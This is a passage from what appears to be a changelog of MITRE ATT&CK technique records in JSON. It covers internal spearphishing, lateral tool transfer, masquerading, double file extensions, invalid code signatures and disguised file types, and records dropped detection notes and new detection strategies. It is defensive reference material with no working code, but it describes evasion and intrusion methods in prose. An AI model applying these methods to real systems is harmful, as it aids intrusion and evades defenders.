the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1534", + "external_id": "T1534" + }, + { + "source_name": "Trend Micro When Phishing Starts from the Inside 2017", + "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.", + "url": "https://blog.trendmicro.com/phishing-starts-inside/" + }, + { + "source_name": "Int SP - chat apps", + "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/" + }, + { + "source_name": "Trend Micro - Int SP", + "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.", + "url": "https://www.trendmicro.com/en_us/research.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim MalcomVetter", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.394000+00:00\", \"old_value\": \"2025-04-15 22:42:40.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0054: Internal Spearphishing via Trusted Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 21:01:00.959000+00:00", + "modified": "2025-10-24 17:49:19.137000+00:00", + "name": "Lateral Tool Transfer", + "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1570", + "external_id": "T1570" + }, + { + "source_name": "Dropbox Malware Sync", + "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.", + "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Named Pipe: Named Pipe Metadata\", \"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.137000+00:00\", \"old_value\": \"2025-04-15 19:59:03.832000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0023: Named Pipe (Named Pipe Metadata)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0183: Detection Strategy for Lateral Tool Transfer across OS platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:38.511000+00:00", + "modified": "2025-10-24 17:48:42.609000+00:00", + "name": "Masquerading", + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036", + "external_id": "T1036" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "LOLBAS Main Site", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "url": "https://lolbas-project.github.io/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Nick Carr, Mandiant", + "David Lu, Tripwire", + "Felipe Esp\u00f3sito, @Pr0teus", + "Elastic", + "Bartosz Jerzman", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Service: Service Creation\", \"Service: Service Metadata\", \"Process: Process Creation\", \"Image: Image Metadata\", \"Scheduled Job: Scheduled Job Metadata\", \"User Account: User Account Creation\", \"File: File Metadata\", \"Scheduled Job: Scheduled Job Modification\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.609000+00:00\", \"old_value\": \"2025-04-15 19:58:26.186000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n\\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n\\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n-\\n-If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n-\\n-Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\"}}}", + "previous_version": "1.8", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1045: Code Signing", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)", + "DS0003: Scheduled Job (Scheduled Job Metadata)", + "DS0003: Scheduled Job (Scheduled Job Modification)", + "DS0007: Image (Image Metadata)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0127: Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-08-04 20:54:03.066000+00:00", + "modified": "2025-10-24 17:48:25.732000+00:00", + "name": "Double File Extension", + "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/007", + "external_id": "T1036.007" + }, + { + "source_name": "SOCPrime DoubleExtension", + "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.", + "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/" + }, + { + "source_name": "PCMag DoubleExtension", + "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.", + "url": "https://www.pcmag.com/encyclopedia/term/double-extension" + }, + { + "source_name": "Seqrite DoubleExtension", + "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.", + "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.732000+00:00\", \"old_value\": \"2025-04-15 22:23:40.712000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0366: Detection Strategy for Double File Extension Masquerading" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 19:49:46.752000+00:00", + "modified": "2025-10-24 17:49:15.520000+00:00", + "name": "Invalid Code Signature", + "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/001", + "external_id": "T1036.001" + }, + { + "source_name": "Threatexpress MetaTwin 2017", + "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.", + "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.520000+00:00\", \"old_value\": \"2025-04-15 22:43:00.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0031: Invalid Code Signature Execution Detection via Metadata and Behavioral Context" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-08 22:40:06.918000+00:00", + "modified": "2025-10-08 17:44:11.183000+00:00", + "name": "Masquerade File Type", + "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/008", + "external_id": "T1036.008" + }, + { + "source_name": "polygot_icedID", + "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.", + "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Ben Smith" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-08 17:44:11.183000+00:00\", \"old_value\": \"2025-04-15 19:58:12.855000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"old_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n \\n-Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\\n+Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Ben Smith\", \"old_value\": \"Ben Smith, @cyberg3cko\"}}}", + "previous_version": "1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may masquerade malicious payloads as legitimate t1Adversaries may masquerade malicious payloads as legitimate 
>files through changes to the payload's formatting, including>files through changes to the payload's formatting, including
> the file\u2019s signature, extension, icon, and contents. Variou> the file\u2019s signature, extension, icon, and contents. Variou
>s file types have a typical standard format, including how t>s file types have a typical standard format, including how t
>hey are encoded and organized. For example, a file\u2019s signatu>hey are encoded and organized. For example, a file\u2019s signatu
>re (also known as header or magic bytes) is the beginning by>re (also known as header or magic bytes) is the beginning by
>tes of a file and is often used to identify the file\u2019s type.>tes of a file and is often used to identify the file\u2019s type.
> For example, the header of a JPEG file,  is <code> 0xFF 0xD> For example, the header of a JPEG file,  is <code> 0xFF 0xD
>8</code> and the file extension is either `.JPE`, `.JPEG` or>8</code> and the file extension is either `.JPE`, `.JPEG` or
> `.JPG`.   Adversaries may edit the header\u2019s hex code and/or> `.JPG`.   Adversaries may edit the header\u2019s hex code and/or
> the file extension of a malicious payload in order to bypas> the file extension of a malicious payload in order to bypas
>s file validation checks and/or input sanitization. This beh>s file validation checks and/or input sanitization. This beh
>avior is commonly used when payload files are transferred (e>avior is commonly used when payload files are transferred (e
>.g., [Ingress Tool Transfer](https://attack.mitre.org/techni>.g., [Ingress Tool Transfer](https://attack.mitre.org/techni
>ques/T1105)) and stored (e.g., [Upload Malware](https://atta>ques/T1105)) and stored (e.g., [Upload Malware](https://atta
>ck.mitre.org/techniques/T1608/001)) so that adversaries may >ck.mitre.org/techniques/T1608/001)) so that adversaries may 
>move their malware without triggering detections.   Common n>move their malware without triggering detections.   Common n
>on-executable file types and extensions, such as text files >on-executable file types and extensions, such as text files 
>(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic>(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic
>ally treated as benign.  Based on this, adversaries may use >ally treated as benign.  Based on this, adversaries may use 
>a file extension to disguise malware, such as naming a PHP b>a file extension to disguise malware, such as naming a PHP b
>ackdoor code with a file name of <code>test.gif</code>. A us>ackdoor code with a file name of <code>test.gif</code>. A us
>er may not know that a file is malicious due to the benign a>er may not know that a file is malicious due to the benign a
>ppearance and file extension.  Polygot files, which are file>ppearance and file extension.  Polyglot files, which are fil
>s that have multiple different file types and that function >es that have multiple different file types and that function
>differently based on the application that will execute them,> differently based on the application that will execute them
> may also be used to disguise malicious malware and capabili>, may also be used to disguise malicious malware and capabil
>ties.(Citation: polygot_icedID)>ities.(Citation: polygot_icedID)
", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0226: Detection Strategy for Masquerading via File Type Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:30:07.426000+00:00", + "modified": "2025-10-24 17:49:00.215000+00:00", + "name": "Masquerade Task or Service", + "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", + "kill_chain_phases": [ + { + "kill_chain_name": 